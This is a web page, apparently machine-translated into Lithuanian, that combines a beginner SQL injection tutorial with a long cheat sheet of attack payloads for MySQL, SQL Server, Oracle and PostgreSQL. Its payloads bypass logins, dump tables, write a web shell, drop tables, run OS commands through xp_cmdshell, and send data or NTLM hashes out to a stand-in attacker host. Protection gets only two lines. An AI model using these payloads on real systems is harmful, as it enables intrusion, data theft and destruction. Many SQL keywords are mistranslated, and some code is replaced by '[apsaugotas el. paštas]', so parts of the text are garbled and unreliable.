Namai Gėlės SQL įpurškimas viduje ir išorėje. Problemos Rusijos rinkoje

SQL įpurškimas viduje ir išorėje. Problemos Rusijos rinkoje

Sveikinimai, skaitytojau. Pastaruoju metu užsiimu žiniatinklio sauga ir darbas tam tikru mastu susijęs su tuo. Nes Vis dažniau pradėjau pastebėti temas įvairiuose forumuose, su prašymu parodyti, kaip visa tai veikia, nusprendžiau parašyti straipsnį. Straipsnis bus skirtas tiems, kurie su tuo nesusidūrė, bet norėtų išmokti. Internete yra palyginti daug straipsnių šia tema, tačiau pradedantiesiems jie yra šiek tiek sudėtingi. Pasistengsiu viską aprašyti aiškia kalba ir išsamiais pavyzdžiais.

Pratarmė

Norint suprasti šį straipsnį, jums tikrai nereikia SQL kalbos žinių, bet bent jau geros kantrybės ir šiek tiek smegenų - įsiminti.

Tikiu, kad vieno straipsnio skaitymo neužteks, nes. mums reikia gyvų pavyzdžių - kaip žinote, praktika įsiminimo procese nėra nereikalinga. Todėl mes rašysime pažeidžiamus scenarijus ir mokysime juos.

Kas yra SQL injekcija?
Paprasčiau tariant, tai yra ataka prieš duomenų bazę, kuri leis atlikti kai kuriuos veiksmus, kurių scenarijaus kūrėjas neplanavo. Realaus gyvenimo pavyzdys:

Tėvas raštelyje mamai parašė, kad ji davė Vasjai 100 rublių ir padėjo ant stalo. Perdirbus tai į juokingą SQL kalbą, gauname:
GAUK 100 RUBLIŲ IŠ SAVO PINIGINĖS IR ATVEIK VASIAI

Kadangi tėvas raštelį parašė blogai (nerangi rašysena) ir paliko jį ant stalo, Vasios brolis Petja ją pamatė. Petya, būdama įsilaužėlis, pridėjo „OR Petya“ ir gavo tokį prašymą:
GAUKITE 100 RUBLIŲ IŠ SAVO PINIGINĖS IR ATVEIKITE Vasjai ARBA Petjai

Mama, perskaičiusi raštelį, nusprendė, kad vakar davė pinigų Vasjai ir atidavė Petjai 100 rublių. Štai paprastas SQL įpurškimo pavyzdys iš realaus gyvenimo :) Nefiltruodama duomenų (mama vos galėjo suprasti rašyseną), Petya uždirbo.

Treniruotės
Praktikai jums reikės archyvo su šio straipsnio šaltinio scenarijais. Atsisiųskite jį ir išpakuokite jį serveryje. Taip pat importuokite duomenų bazę ir nustatykite duomenis faile cfg.php

SQL injekcijos paieška

Kaip jau supratote, injekcija gaunama iš gaunamų duomenų, kurie nėra filtruojami. Dažniausia klaida – nefiltruojamas perduodamas ID. Na, grubiai tariant, pakaitinės citatos visose srityse. Nesvarbu, ar tai GAUTI / PASTAUTI, ar net slapukas!

Skaitmeninis įvesties parametras
Praktikai mums reikia scenarijaus index1.php. Kaip sakiau aukščiau, naujienų ID pakeičiame citatas.

Nes mūsų užklausoje nėra filtravimo:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Scenarijus tai supras kaip

SELECT * FROM news WHERE id=1"

Ir tai duos mums klaidą:
Įspėjimas: mysql_fetch_array() tikisi, kad 1 parametras bus išteklius, 16 eilutėje pateikta loginė reikšmė C:\WebServ\domains\sqlinj\index1.php

Jei klaida nerodoma, gali būti šios priežastys:

1.SQL injekcijos čia nėra – Citatos filtruojamos arba tiesiog konvertuojamos į (int)
2. Išjungta klaidų išvestis.

Jei vis dėlto buvo padaryta klaida - Ura! Mes radome pirmąjį SQL įterpimo rūšį – skaitinį įvesties parametrą.

Stygos įvesties parametras

Prašymai bus siunčiami adresu index2.php. Šiame faile užklausa atrodo taip:
$vartotojas = $_GET["vartotojas"]; $query = "SELECT * FROM news WHERE user="$user"";

Čia mes atrenkame naujienas pagal vartotojo vardą ir vėl – nefiltruojame.
Vėl siunčiame užklausą su citata:

Tai davė klaidą. GERAI! Taigi yra pažeidžiamumas. To mums pakanka, kad galėtume pradėti – pradėkime praktikuotis.

Imkimės veiksmų

Šiek tiek teorijos

Tikriausiai nekantraujate iš to ką nors išgauti, išskyrus klaidas. Pirmiausia supraskite, kad ženklas " -- “ yra laikomas komentaru SQL.

DĖMESIO! Prieš ir po jo turi būti tarpai. URL jie perduodami kaip %20

Viskas, kas pateikiama po komentaro, bus atmesta. Tai yra užklausa:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Vykdyti sėkmingai. Galite išbandyti tai naudodami index2.php scenarijų, išsiųsdami tokią užklausą:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Sužinokite parametrą SĄJUNGOS. SQL kalboje raktinis žodis SĄJUNGOS naudojamas dviejų SQL užklausų rezultatams sujungti į vieną lentelę. Tai yra, norėdami ištraukti kažką, ko mums reikia iš kitos lentelės.

Mes tuo pasinaudojame

Jei parametras yra "Skaičių", tada užklausoje nereikia siųsti citatos ir, žinoma, įdėti komentarą pabaigoje. Atgal į scenarijų index1.php.

Pereikime prie scenarijaus sqlinj/index1.php?id=1 UNION SELECT 1 . Mūsų duomenų bazės užklausa atrodo taip:
PASIRINKTI * IŠ naujienų WHERE id=1 SĄJUNGOS PASIRINKTI 1
Ir jis padarė mums klaidą, nes. Norėdami dirbti su užklausų agregavimu, mums reikia tiek pat laukų.

Nes negalime paveikti jų skaičiaus pirmoje užklausoje, tada antroje turime pasirinkti jų skaičių, kad jis būtų lygus pirmajam.

Mes pasirenkame laukų skaičių

Laukų pasirinkimas labai paprastas, tereikia atsiųsti šias užklausas:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Klaida…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Vėl klaida!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Klaidos nėra! Taigi stulpelių skaičius yra 5.

GRUPUOTI PAGAL
Dažnai pasitaiko, kad laukų gali būti 20 ar 40, o gal net 60. Kad nereikėtų jų kaskart pereiti, naudojame GRUPUOTI PAGAL

Jei prašymas
sqlinj/index1.php?id=1 GROUP BY 2
nepateikė jokių klaidų, todėl laukelių skaičius yra didesnis nei 2. Bandome:

sqlinj/index1.php?id=1 GROUP BY 8
Op, matome klaidą, todėl laukų skaičius yra mažesnis nei 8.

Jei nėra klaidos su GROUP BY 4, bet yra klaida su GROUP BY 6, tada laukų skaičius yra 5

Ekrano stulpelių apibrėžimas
Kad nuo pirmos užklausos nieko nebūtų rodoma, pakanka pakeisti neegzistuojantį ID, pavyzdžiui:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Atlikdami šį veiksmą nustatėme, kurie stulpeliai bus rodomi puslapyje. dabar, norėdami pakeisti šiuos skaičius norima informacija, turite tęsti užklausą.

Duomenų išvestis

Tarkime, žinome, kad lentelė vis dar egzistuoja vartotojų kuriuose yra laukai id, vardas Ir praeiti.
Turime gauti informaciją apie vartotoją, kurio ID=1

Taigi sukurkime tokią užklausą:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM vartotojų WHERE id=1
Scenarijus taip pat tęsiamas

Norėdami tai padaryti, vietoj skaičių 1 ir 3 pakeisime laukų pavadinimus

sqlinj/index1.php?id=-1 UNION SELECT pavadinimas,2,pass,4,5 FROM user WHERE id=1
Gavome tai, ko mums reikėjo!

„Eilutės įvesties parametrui“ kaip scenarijuje index2.php pradžioje reikia įdėti kabutę, o pabaigoje – komentaro ženklą. Pavyzdys:
sqlinj/index2.php?user=-1" UNION SELECT pavadinimas,2,pass,4,5 FROM user WHERE id=1 --%20

Skaityti / rašyti failus

Kad galėtų skaityti ir rašyti failus, duomenų bazės vartotojas turi turėti FILE_PRIV leidimus.
Failų rašymas
Tiesą sakant, viskas yra labai paprasta. Norėdami parašyti failą, naudosime funkciją OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 Į OUTFILE "1.php" --%20
Puiku, mes turime failą. Taigi galime įkelti mini apvalkalą:
sqlinj/index2.php?user=-1" UNION SELECT 1"",3,4,5 Į OUTFILE "1.php" --%20
Failų skaitymas
Skaityti failus dar lengviau nei juos rašyti. Pakanka tik naudoti funkciją LOAD_FILE, mūsų pasirinktai lauko vietai:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 -%20

Taigi, mes perskaitėme ankstesnį rašytinį failą.

Apsaugos metodai

Apsaugoti save yra dar lengviau nei išnaudoti pažeidžiamumą. Tiesiog filtruokite duomenis. Jei perduodate skaičius, naudokite
$id = (int) $_GET["id"];
Kaip pasiūlė vartotojas malroc. Ginti naudojant SKVN arba parengtus pareiškimus.

Užuot užbaigę

Tuo noriu užbaigti savo pirmąją dalį apie „SQL injekciją pradedantiesiems“. Antrajame apžvelgsime sunkesnius injekcijų pavyzdžius. Pabandykite patys rašyti pažeidžiamus scenarijus ir vykdyti užklausas.
Ir atminkite, nepasitikėkite jokiu savo svetainės vartotoju.

Žymos: pridėti žymų

SQL įpurškimo cheat Sheet sukurtas siekiant apibendrinti įvairių tipų SQL įterpimo pažeidžiamumų technines detales. Straipsnyje pristatomos SQL injekcijos ypatybės MySQL, Microsoft SQL serveris, ORAKULAS Ir PostgreSQL.

0. Įvadas
Šiame straipsnyje galite rasti išsamios techninės informacijos apie skirtingus SQL injekcijų tipus. Tai gali būti naudinga tiek patyrusiems specialistams, tiek pradedantiesiems informacijos saugos srityje.

Šiuo metu atmintinėje pateikiama informacija tik apie MySQL, Microsoft SQL Server ir kai kurie ORACLE ir PostgreSQL duomenys. Skyriuose yra sintaksė, paaiškinimai ir injekcijų pavyzdžiai.

Naudotas žymėjimas:
M (MySQL);
S (SQL serveris);
O (Oracle);
P (PostgreSQL);
+ (galbūt kitose duomenų bazėse);
* (būtina specialių sąlygų).

1. Eilučių komentarai
Komentarai paprastai yra naudingi ignoruojant dalį užklausos.
Sintaksė:
-- (SM): DROP mėginių lentelė;--
# (M): DROP mėginių lentelė; #
Pavyzdys:
vartotojo vardas: admin" --
Sugeneruota užklausa: SELECT * FROM nariai WHERE vartotojo vardas = "admin"--" AND slaptažodis = "slaptažodis"
Tai leis jums prisijungti kaip administratorius, nepaisydami slaptažodžio patikrinimo.

2. Blokuoti komentarus
Su jų pagalba galite nepaisyti dalies užklausos, pakeisti tarpus, apeiti juoduosius sąrašus ir nustatyti duomenų bazės versiją.
Sintaksė:
/*Komentaras*/ (SM):
DROP/*komentaras*/pavyzdys
DR/**/OP/*bypass_blacklist*/sampletable
SELECT/*replace_space*/password/**/FROM/**/Members

/*! MYSQL specialusis SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM lentelės pavadinimas
Tai speciali MySQL komentarų sintaksė. Tai leidžia aptikti MySQL versiją. Šis komentaras veiks tik MySQL
Pavyzdžiai:
ID: 10; DROP TABLE nariai /*
Ignoruokite likusią užklausos dalį, kaip ir įterptą komentarą.

ID: /*!32302 10*/
gausite tą patį atsakymą kaip ir ID=10, jei MySQL versija yra aukštesnė nei 3.23.02

ID: /*!32302 1/0, */
Sugeneruota užklausa: SELECT /*!32302 1/0, */ 1 FROM lentelės pavadinimas
Jei serveryje veikia naujesnė nei 3.23.02 MySQL versija, įvyks dalijimo iš 0 klaida

3. Prašymų seka
Leidžia vienu metu vykdyti daugiau nei vieną užklausą. Tai naudinga bet kuriame injekcijos taške.


Žalia – palaikoma; juoda – nepalaikoma; pilka – nežinoma.
Sintaksė:
; (S): SELECT * FROM narių; DROP nariai –
Vienas prašymas baigėsi, kitas prasidėjo.
Pavyzdys:
ID: 10;DROP nariai --
Sugeneruota užklausa: SELECT * FROM produktai WHERE id = 10; DROP nariai –
Ši užklausa pašalins narių lentelę po įprastos užklausos.

4. Sąlyginiai teiginiai
Atsakymą į užklausą gausime, kai bus įvykdyta sąlyga. Tai vienas iš pagrindinių aklosios injekcijos taškų. Jie taip pat padeda tiksliai patikrinti paprastus dalykus.
Sintaksė:
IF(sąlyga, tikroji dalis, klaidinga dalis) (M): PASIRINKITE IF(1 = 1 "teisinga", "klaidinga")
IF sąlyga true-part ELSE klaidinga dalis (S): IF (1=1) SELECT "true" ELSE SELECT "false"
IF sąlyga THEN true-part; ELSE klaidinga dalis; END IF; GALAS; (O): JEI (1=1) TAD dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; GALAS;
SELECT CASE WHEN sąlyga THEN true-part ELSE false-part END; (P): PASIRINKITE ATVEJĄ, KAI (1=1) TADA „A“ KITA „B“ PABAIGA;
pavyzdys:
if ((pasirinkite vartotoją) = "sa" ARBA (select user) = "dbo") pasirinkite 1 kitaip pasirinkite 1/0 (S)
duos dalybos iš nulio klaidą, jei dabartinis vartotojas nėra „sa“ arba „dbo“.

5. Skaičių naudojimas
Naudojamas norint apeiti magic_quotes() ir panašius filtrus, įskaitant WAF.
Sintaksė:
0xHEX_NUMBER (SM):
PASIRINKTI CHAR (0x66) (S)
SELECT 0x5045 (tai ne skaičius, o eilutė) (M)
PASIRINKITE 0x50 + 0x45 (dabar tai yra skaičius) (M)
Pavyzdžiai:
PASIRINKTI LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Rodyti failo c:\boot.ini turinį

6. Stygų sujungimas
Eilučių operacijos gali padėti apeiti filtrus arba identifikuoti duomenų bazę.
Sintaksė:
+ (S): PASIRINKTI prisijungimo vardą + "-" + slaptažodis IŠ narių
|| (*MO): PASIRINKITE prisijungimą || "-" || slaptažodis IŠ narių
Veiks, jei MySQL veikia ANSI režimu. Priešingu atveju MySQL nepriims jo kaip loginio operatoriaus ir grąžins 0. Geriau naudoti MySQL CONCAT() funkciją.

CONCAT(str1, str2, str3, ...) (M): PASIRINKITE CONCAT(prisijungimas, slaptažodis) IŠ narių

7. Stygos be kabučių
Yra keletas būdų, kaip išvengti kabučių užklausoje, pvz., CHAR() (MS) ir CONCAT() (M).
Sintaksė:
SELECT 0x457578 (M)

„MySQL“ turi paprastą būdą pavaizduoti eilutę kaip šešioliktainį kodą:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Grąžina eilutę „KLM“:
PASIRINKITE CONCAT (CHAR (75), CHAR (76), CHAR (77)) (M)
PASIRINKTI CHAR(75)+CHAR(76)+CHAR(77)(S)
PASIRINKITE CHR(75)||CHR(76)||CHR(77) (O)
PASIRINKTI (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Eilučių ir skaičių konvertavimas.
Sintaksė:
ASCII() (SMP): PASIRINKITE ASCII("a")
Grąžina kairėje esančio simbolio ASCII kodą. Funkcija naudojama akliesiems injekcijoms.

CHAR() (SM): PASIRINKTI CHAR(64)
Konvertuoja ASCII kodą į atitinkamą simbolį.

9. SĄJUNGOS operatorius
Naudodami operatorių UNION galite pateikti užklausą dėl lentelių sankirtos. Iš esmės galite siųsti užklausą, kuri grąžina reikšmę iš kitos lentelės.
Pavyzdys:
SELECT antraštė, txt FROM naujienos SĄJUNGOS VISI PASIRINKITE pavadinimą, leidimas NUO narių
Taip bus sujungti naujienų ir narių lentelių rezultatai

10. Autentifikavimo apėjimas (SMO+)
Pavyzdžiai:
admin“ --
admin" #
admin"/*
" arba 1=1--
" arba 1 = 1 #
" arba 1=1/*
") arba "1"="1--
") arba ("1"="1--

11. Apeiti autentifikavimą naudojant MD5
Jei programa pirmiausia lygina vartotojo vardą, o tada lygina slaptažodžio md5 maišą, jums reikia papildomų gudrybių, kad būtų išvengta autentifikavimo. Rezultatus galite sujungti su žinomu slaptažodžiu ir jo maiša.
Pavyzdys (MSP):
Vartotojo vardas: admin
Slaptažodis: 1234 " IR 1 = 0 SĄJUNGOS VISKAS PASIRINKITE "admin", "
= MD5 (1234)

12. Pagrįsta klaida
12.1 Stulpelių apibrėžimas naudojant HAVING BY(S)
Pavyzdys:
Ta pačia tvarka
"TURIANT 1 = 1 --
" GROUP BY table.columnfromerror1 HAVING 1 = 1 --
" GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1 = 1 --
" GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1 = 1 -
…………….
Tęskite tol, kol nustos gauti klaidų.

12.2 Stulpelių skaičiaus nustatymas naudojant ORDER BY (MSO+)
Stulpelių skaičiaus radimas naudojant ORDER BY gali būti pagreitintas naudojant UNION injekciją.
UŽSAKYTI IKI 1--
UŽSAKYTI IKI 2--
UŽSAKYTI IKI 3-
………………..
Tęskite, kol gausite klaidos pranešimą. Tai parodys stulpelių skaičių.

13. Duomenų tipo apibrėžimas
Visada naudokite UNION su VISAIS.
Norėdami atsikratyti nereikalingo lentelės įrašo, užklausos pradžioje naudokite -1 bet kokias neegzistuojančias reikšmes (jei įpurškimas yra parametre WHERE). Tai svarbu, jei vienu metu galite gauti tik vieną reikšmę.
Naudokite NULL UNION injekcijose, o ne bandydami atspėti eilutę, datą, skaičių ir pan. Tačiau būkite atsargūs su akla injekcija, nes. galite supainioti duomenų bazės ir pačios programos klaidą. Kai kurios kalbos, pvz., ASP.NET, išmeta klaidą, kai naudoja NULL reikšmę (nes kūrėjai nesitikėjo naudotojo vardo lauke pamatyti nulio reikšmę)
Pavyzdžiai:
" sąjunga pasirinkite sumą (rasti stulpelį) iš vartotojų - (S) :
Jei negaunate klaidos, stulpelis yra skaitinis.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, konvertuoti(vaizdas,1), nulis, nulis, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL --
Galite naudoti CAST() arba CONVERT()

11223344) UNION SELECT NULL, NULL, NULL, NULL, KUR 1 = 2 --
Jei klaidos nėra, tai sintaksė yra teisinga, t.y. naudojant MS SQL Server.

11223344) UNION SELECT 1, NULL, NULL, NULL, KUR 1 = 2 ---
Jei klaidos nėra, pirmasis stulpelis yra skaičius.

11223344) SĄJUNGOS PASIRINKIMAS 1,2,NULL,NULL, KUR 1=2 –
Jei įvyksta klaida, antrasis stulpelis nėra skaičius.

11223344) UNION SELECT 1,'2', NULL, NULL, KUR 1 = 2 --
Jei klaidos nėra, antrasis stulpelis yra eilutė.
……………..

14. Paprastas įdėklas (MSO+)
Pavyzdys:
"; įterpti į vartotojų vertes (1, "hax0r", "coolpass", 9)/*

15. Informacijos rinkimas
Sintaksė:
@@versija (MS)
Galite sužinoti DB versiją ir daugiau informacijos.
Pavyzdys:
INSERT INTO nariai(id, naudotojas, leidimas) VERTYBĖS(1, ""+SUBSTRING(@@versija,1,10) ,10)

16. Sudėtingas įdėklas (S)
Leidžia įterpti failo turinį į lentelę. Jei nežinote žiniatinklio programos vidinio kelio, galite perskaityti IIS metabazę (tik IIS 6).
Sintaksė:
failas (%systemroot%\system32\inetsrv\MetaBase.xml)
Tada jame galite rasti programų kelius.
Pavyzdys:
1. Sukurkite lentelę foo (eilutė kaip varchar(8000))
2. Į lentelę foo įterpkite failo „c:\inetpub\wwwroot\login.asp“ turinį
3. Ištrinkite laikinąją lentelę ir pakartokite kitą failą.

17.BCP(S)
Rašo tekstinį failą. Tam reikia kredencialų.
Pavyzdys:
bcp "SELECT * FROM test..foo" užklausa c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH SQL serveryje (S)
SQL serveryje galite naudoti VBS, WSH scenarijus.
Pavyzdys:
Vartotojo vardas:"; paskelbkite @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Vykdykite sistemos komandas (S)
Žinomas triukas, ši funkcija pagal numatytuosius nustatymus išjungta sistemoje SQL Server 2005. Jums reikia administratoriaus teisių.
Pavyzdys:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Specialios lentelės SQL serveryje (S)
Pavyzdžiai:
Klaidų pranešimai: master..sysmessages
Susiję serveriai: master..sysservers
Slaptažodis SQL Server 2000: masters..sysxlogins
Slaptažodis SQL Server 2005: sys.sql_logins

21. Kelios saugomos SQL serverio (-ų) procedūros
Sintaksė:
Cmd Execute (xp_cmdshell)
Registro medžiaga (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Paslaugų valdymas (xp_servicecontrol)
Medija (xp_availablemedia)
ODBC ištekliai (xp_enumdsn)
Prisijungimo režimas (xp_loginconfig)
Kabinos failų kūrimas (xp_makecab)
Domenų išvardijimas (xp_ntsec_enumdomains)
Proceso žudymas (reikalingas PID) (xp_terminate_process)
Pridėti naują procedūrą (sp_addextendedproc)
Įrašykite tekstinį failą į UNC arba vidinį kelią (sp_makewebtask)
Pavyzdžiai:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues ​​​​HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. MSSQL masinės pastabos
Pavyzdžiai:
SELECT * FROM master..sysprocesses /*WHERE [apsaugotas el. paštas]@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME ()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET („Transact-SQL“) – http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL įterpimas LIMIT (M) užklausose
Pavyzdys:
PASIRINKITE ID, gaminį FROM test.test RIBA 0,0 UNION ALL SELECT 1,"x"/*,10 ;
Norėdami apeiti LIMIT teiginį, galite naudoti UNION arba komentarą.

24. SQL serverio (S) išjungimas
Pavyzdys:
";išjungti-

25. xp_cmdshell įgalinimas sistemoje SQL Server 2005
Sintaksė:
Pagal numatytuosius nustatymus xp_cmdshell ir keletas kitų potencialiai pavojingų funkcijų yra išjungtos SQL Server 2005. Kaip administratorius galite jas įjungti.
EXEC sp_configure "rodyti išplėstines parinktis",1
KONFIGŪRUOKITE
EXEC sp_configure "xp_cmdshell",1
KONFIGŪRUOKITE

26. DB struktūros radimas SQL serveryje (S)
Pavyzdžiai:
PASIRINKITE pavadinimą FROM sysobjects WHERE xtype = "U"

SELECT pavadinimas FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "lentelės pavadinimas stulpelių pavadinimams")
Stulpelių pavadinimų gavimas

27. Judantys įrašai (S)
Pavyzdžiai:
... KUR naudotojai NEĮeina ("Pirmasis vartotojas", "Antrasis vartotojas")
Naudokite WHERE su NOT IN arba NOT EXIST

PASIRINKTI TOP 1 vardą IŠ narių, WHERE NOT EXIST (PASIRINKTI TOP 0 vardų IŠ narių)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Pasirinkti p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id)<=o.id)
AS x, pavadinimas iš sysobjects o) kaip p kur p.x=3) kaip tarpt

Pasirinkite p.name iš (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype="U" ir i.id)<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Greitas būdas išgauti duomenis iš klaidų pagrįsto SQL įpurškimo SQL serveryje (S)
";PRADĖTI DEKLARUOTI @rt varchar(8000) NUSTATYTI @rd=":" PASIRINKTI @ [apsaugotas el. paštas]+" "+vardas FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "NARIAI") AND name>@rd SELECT @rd AS rd į TMP_SYS_TMP pabaigą;--

29. Ieškokite DB struktūros MySQL (M)
Pavyzdžiai:
SELECT lentelės_pavadinimas FROM information_schema.tables WHERE table_schema = "lentelės pavadinimas"
Vartotojų lentelių gavimas

SELECT lentelės_pavadinimas, stulpelio_pavadinimas FROM information_schema.columns WHERE lentelės_schema = "lentelės pavadinimas"
Stulpelių pavadinimų gavimas

30. Ieškokite DB struktūros „Oracle“ (O)
Pavyzdžiai:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Vartotojų lentelių gavimas

SELECT * FROM all_col_comments WHERE TABLE_NAME = "LENTELĖ"
Stulpelių pavadinimų gavimas

31. Aklosios injekcijos
Kokybiškoje programoje nematysite klaidų pranešimų. Negalėsite naudoti UNION operatoriaus ir klaidų pagrįstų atakų. Norėdami išgauti duomenis, turėsite naudoti aklą SQL injekciją. Yra dviejų tipų aklosios injekcijos.
Įprastas aklas įpurškimas: puslapyje nematote užklausų rezultatų, bet galite nustatyti rezultatą pagal atsakymą arba HTTP būseną.
Visiškai aklas įpurškimas: išvesties skirtumo nepastebėsite.
Įprastų aklųjų injekcijų metu galite naudoti IF ir WHERE teiginius, visiškai aklose injekcijose reikia naudoti tam tikras laukimo funkcijas ir palyginti reakcijos laiką. Norėdami tai padaryti, galite naudoti WAIT FOR DELAY '0:0:10' SQL serveryje, BENCHMARK() ir miego režimą (10) MySQL, pg_sleep(10) PostgreSQL.
Pavyzdys:
Šis pavyzdys pagrįstas tikru aklosios injekcijos išnaudojimu SQL serveryje.

TRUE: SELECT ID, vartotojo vardas, el. paštas FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>78--

FALSE: SELECT ID, vartotojo vardas, el. paštas FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>103--

FALSE: SELECT ID, vartotojo vardas, el. paštas FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>89--

FALSE: SELECT ID, vartotojo vardas, el. paštas FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>83--

TRUE: SELECT ID, vartotojo vardas, el. paštas FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>79--

FALSE: SELECT ID, vartotojo vardas, el. paštas FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe)),1 ,1)),0)>80--

Remdamiesi paskutinėmis dviem užklausomis, tiksliai žinome pirmojo ascii simbolio reikšmę – tai yra 80. Taigi pirmasis simbolis yra „P“. Taigi galime sužinoti lentelių pavadinimus ir jų turinį. Kitas būdas yra skaityti duomenis po truputį.

32. Visiškai aklas įpurškimas
Naudokite šį metodą tik tikrai akloms injekcijoms. Būkite atsargūs su laukimo laiku.
Sintaksė:
PALAUKITE ATLĖVIMO "laikas" (S)
Funkcija tiesiog laukia nurodyto laiko neįkeldama procesoriaus.
Pavyzdžiai:
if (pasirinkite vartotoją) = "sa" laukti delsos "0:0:10"
ProductID =1;laukti delsos "0:0:10"--
ProductID =1);laukti delsos "0:0:10"--
ProductID =1";laukti delsos "0:0:10"--
ProductID =1");laukti delsos "0:0:10"--
ProductID =1));palaukite delsos "0:0:10"--
ProductID =1"));palaukite delsos "0:0:10"--
Sintaksė:
PALYGINIMAS (kiek kartų tai darykite) (M)
Pavyzdys:
JEI YRA (SELECT * FROM username WHERE vartotojo vardas = "root") BENCHMARK(1000000000,MD5(1))
Patikrinkite, ar yra root vartotojas.

JEI (PASIRINKTI * IŠ prisijungimo) PALYGINIMAS(1000000,MD5(1))
Tikrinama, ar MySQL yra lentelė
Sintaksė:
pg_sleep(sekundės) (P)
Miegokite tiekiamas sekundes.

miegas (sekundės) (M)
miegokite tiekiamas sekundes.

bms_pipe.receive_message (O)
miegokite tiekiamas sekundes.
Pavyzdys:
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(((INJECTION)),1,1)),0) = 100) THEN dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz") ),1) PABAIGA NUO dvigubo)
(INJEKCIJA) yra jūsų prašymas.
Jei sąlyga teisinga, atsakymas bus 10 sekundžių. Priešingu atveju atsakymas bus 1 sekundė.

33. Naudingos MySQL funkcijos
Sintaksė:
MD5()
SHA1()
SLAPTAŽODIS()
ENCODE ()
KOMPRESAS ()
ROW_COUNT ()
SCHEMA()
VERSIJA ()

34. Antrosios eilės SQL injekcijos
Paprastai į lauką įterpiate SQL injekcijos užklausą ir tikitės, kad ji nebus išfiltruota.
Pavyzdys:
Vardas: " + (PASIRINKITE 1 TOP 1 slaptažodį IŠ vartotojų) + "
El. paštas: [apsaugotas el. paštas]
Jei programa naudoja išsaugotos procedūros arba funkcijos lauko pavadinimą, galite jį naudoti injekcijai.

35. SQL serverio naudojimas NTLM maišai išgauti
Ši ataka padės gauti tikslinio serverio Windows vartotojo slaptažodį per SQL serverį, jei nėra prieigos iš išorės. Galime priversti SQL serverį prisijungti prie Windows per UNC kelią ir išgauti NTLM seansą naudodami specialius įrankius, tokius kaip Cain & Abel.

Sintaksė:
UNC kelias: "\\YOURIPADDRESS\C$\x.txt"
36. Kiti injekcijų pavyzdžiai
SQL serveris:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ((INJECTION))+.yourhost.com";"sa";"pwd", "SELECT 1")

